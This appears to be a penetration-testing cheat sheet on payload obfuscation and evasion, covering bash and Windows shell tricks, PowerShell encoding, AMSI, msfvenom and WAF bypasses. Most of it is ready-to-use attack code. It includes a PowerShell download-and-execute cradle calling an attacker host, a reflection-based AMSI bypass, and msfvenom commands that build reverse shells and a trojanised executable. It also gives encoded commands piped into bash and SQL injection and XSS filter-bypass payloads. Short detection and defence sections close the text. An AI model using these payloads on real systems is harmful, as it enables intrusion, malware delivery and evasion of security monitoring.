Payload Obfuscation & Evasion
Obfuscating a payload means rewriting it so it does exactly the same thing but does not match the signatures that would block it: a WAF's rules on the web, an antivirus's static signatures on disk, or Windows AMSI's in-memory scanning. It isn't a vulnerability by itself, it's the layer that lets every other technique (a command injection, a SQL injection, a Log4Shell) get through the filters. The mental rule: obfuscation buys time against static detection (patterns and hashes), not against behavioural detection (an EDR seeing a process spawn powershell and call out).
Linux shell (bash)
Same commands, without the strings the filter looks for (spaces, binary names, keywords):
# no spaces: ${IFS}, $IFS$9 or a tab; redirections also work
cat${IFS}/etc/passwd
cat$IFS$9/etc/passwd
{cat,/etc/passwd} # brace expansion (the comma is the separator)
cat</etc/passwd
# split the binary name to dodge blacklists
w'h'o'a'm'i # empty quotes in between
who$@ami # $@ expands to nothing
c\a\t /etc/passwd # backslashes
# build the string from variables or slices
a=/etc/passwd;cat $a
cat ${HOME:0:1}etc${HOME:0:1}passwd # ${HOME:0:1} = "/"
# encode the whole command and decode inline
echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash
echo -n 'id' | xxd -p # to hex -> then echo 6964 | xxd -r -p | bashWindows shell (cmd and PowerShell)
# cmd.exe: the caret ^ escapes characters and breaks the signature
w^h^o^a^m^i
# cmd: substrings of an environment variable to compose the command
set c=whoami&& %c:~0%
# PowerShell: -EncodedCommand (UTF-16LE base64), the most common route
$c='IEX(New-Object Net.WebClient).DownloadString("http://<lhost>/s.ps1")'
[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes($c)) # -> paste into:
powershell -nop -w hidden -enc <base64>
# PowerShell: split and rebuild so the literal string never appears
$s=('Inv'+'oke-Mimi'+'katz'); &$s
"{1}{0}" -f 'ex','I' | iex # format operator
[char[]](105,101,120) -join '' # from character codes
IEX (Get-Content .\p.txt | Out-String) # pull the script from file/HTTPAMSI: Windows in-memory scanning
AMSI makes PowerShell (and other script engines) hand the content to Defender right before running it, so -enc alone is not enough. The classic pattern neutralises the scan in the current session by patching the result that AmsiScanBuffer reads:
# force AmsiInitFailed to true in the current session (via reflection; the string is split so the
# pattern itself does not trip the bypass signature)
$a=[Ref].Assembly.GetType(('System.Management.Automation.Amsi'+'Utils'))
$a.GetField(('amsiInit'+'Failed'),'NonPublic,Static').SetValue($null,$true)
# alternative: load the payload via reflection (Assembly.Load) so nothing touches disk
[Reflection.Assembly]::Load([Convert]::FromBase64String('<dll-b64>'))Behind this are tools that automate the obfuscation (Invoke-Obfuscation for PowerShell, ScareCrow/Freeze for shellcode loaders); the idea is the same: break the strings and the structure the signature recognises.
Payload encoders (msfvenom)
# encode with an encoder and iterate several passes (breaks the static signature of the stub)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<lhost> LPORT=<lport> -e x64/xor_dynamic -i 5 -f exe -o rev.exe
# avoid forbidden bytes (bad chars) typical of memory-corruption exploits
msfvenom -p linux/x86/shell_reverse_tcp LHOST=<lhost> LPORT=<lport> -b '\x00\x0a\x0d' -f c
# inject the payload into a legitimate executable (template) and keep it working
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<lhost> LPORT=<lport> -x template.exe -k -f exe -o trojan.exe
msfvenom --list encoders # see the available encodersRealistic caveat: shikata_ga_nai used to be the star encoder but today its decoder stub is signatured; msfvenom encoders are for bad chars and CTFs, not for evading a modern EDR.
WAF and web filters
-- SQL: inline comments, upper/lower case and MySQL version comments
'/**/UNION/**/SELECT/**/1,2-- -
'/*!50000UNION*/ /*!50000SELECT*/ 1,2-- -
%2553ELECT -- double URL-encoding: %25 -> % -> the server decodes twice<!-- XSS: vary the tag/event and encode to dodge the blacklist -->
<img src=x onerror=alert(1)>
<svg/onload=alert(1)>
<a href="javascript:alert(1)">x</a> <!-- HTML entity inside the scheme -->
%3Cscript%3E ... %3C/script%3E <!-- URL-encoded payload -->See the full per-engine bypass arsenals in the SQLi and XSS cheatsheets and in command injection.
How to detect it. What gives obfuscation away is not each single trick but its traces: on Windows, PowerShell with Script Block Logging (Event ID 4104) records the already-deobfuscated script, and -EncodedCommand/FromBase64String/[Ref].Assembly...AmsiUtils on a command line (4688/Sysmon 1) are strong signatures. On the web, strings with high entropy or repeated encoding (%25, %u, /**/ comments splitting keywords) in a parameter are the anomaly a WAF that normalises before inspecting flags. In binaries, a large base64 blob or an encoder's decrypt loop (e.g. the shikata stub) is caught by YARA. Rule: the more oddly a parameter or a command line fits versus what is normal for that app, the more likely it is obfuscation.
Defence. Do not rely on signatures alone: enable Script Block Logging and AMSI with an up-to-date Defender, Constrained Language Mode and script signing in PowerShell, a WAF that decodes (URL/unicode/HTML) before applying rules, and an EDR that watches behaviour (an office process spawning powershell -enc, or a webshell spawning cmd) instead of just the string. Obfuscation degrades static detection; behavioural detection and full logging neutralise it.